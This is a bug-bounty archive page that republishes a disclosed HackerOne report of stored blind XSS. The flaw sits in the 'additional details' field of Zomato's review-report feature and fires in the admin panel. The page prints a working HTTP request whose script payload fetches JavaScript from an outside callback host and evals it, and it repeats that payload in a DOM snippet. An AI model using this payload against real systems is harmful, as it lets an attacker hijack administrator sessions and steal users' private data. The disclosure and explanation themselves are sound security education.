Skip to content
XSS Disclosed report Intermediate

Blind XSS - Report review - Admin panel

A merchant-supplied 'additional details' field on a review report was rendered as HTML in the Zomato admin panel, so a stored cross-site scripting payload placed there executed in an administrator's browser. An attacker could then act as the admin, reading private user information through requests made from the admin session.

gerben_javado Follow

Originally disclosed on HackerOne

Bounty$350incl. $100 bonus Medium View original
  • Fixed in 28 days
  • Paid in 48 days
  • Disclosed after 48 days

#Introduction In the Zomato Business app there is the functionality to report a review and give additional details as to why you did report the review. Because I knew this reason would be read by Zomato admins I did insert a blind XSS payload here, which ended up executing on https://www.zomato.com████████/reviews_new?review_id={ID}. This means that the content of additional details will be rendered as HTML on the admin panel page. The CSP policy of Zomato can be bypassed by leveraging the unsafe-inline in the CSP to load the JavaScript file using XMLHttpRequest.

#Steps to reproduce

  1. Replace the X-Access-Token to your access token and the review_id to a review you can report.
  2. Send the request in Burp
  3. Go to https://www.zomato.com██████████/reviews_new?review_id={ID}
  4. XSS payload executes
HTTP
POST /v2/█████merchant HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 485
Host: api.zomato.com
X-Zomato-API-Key: a2cf52f6036511e48be6b2227cce2b54
X-Access-Token: dc5da████████ad0fdddff04
X-Client-Id: zomato_merchantandroid_v2

reason_id=5&review_id=32288944&additional_text=<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>

#Screenshot Admin Panel {█████}

#Dom Snippet

HTML
 <u>Reported by Merchant(ID)</u> : <a style="opacity: 1; color: #000000; text-decoration:underline" href="https://www.zomato.com/users/43211589">43211589</a><br><u>Report Reason ID</u> : 5 (Other (mention reason below).)<br><u>Additional Text</u> : H
H
H
H
H
''"&gt;<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>

Impact

An attacker is certain that a Zomato Admin will read his report. Thus an attacker can be sure that he can gain access to the Zomato admin panel where he can get the private information of other users by leveraging AJAX requests.

The hacker selected the Cross-site Scripting (XSS) - Stored weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

URL https://www.zomato.com██████████/reviews_new

Verified Yes

The original report as published on HackerOne, by gerben_javado. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the admin panel rendered the merchant-supplied additional_text value without HTML-encoding it, and the site's CSP allowed inline script, so injected markup executed.

Impact

An attacker could be confident an admin would read the report, so the script could run in the admin panel and use AJAX requests to reach private information of other users; the text notes the CSP's unsafe-inline allowed the payload to load external script.

What the attacker needed

A merchant account; ability to report a review; admin opens the review page

How it was found

  1. Submit a review report with a script payload in the additional details field.
  2. Send the report request to the API.
  3. Open the admin review page for that review ID.
  4. The payload executes in the admin's browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you report a review, the extra text you type is shown to Zomato staff in an internal admin page. That page treated the text as code rather than plain text, so a script hidden in the text ran inside the staff member's browser. Because the script runs with the staff member's logged-in powers, it can read data the staff member can see.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by gerben_javado

View all

9 more disclosed reports, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.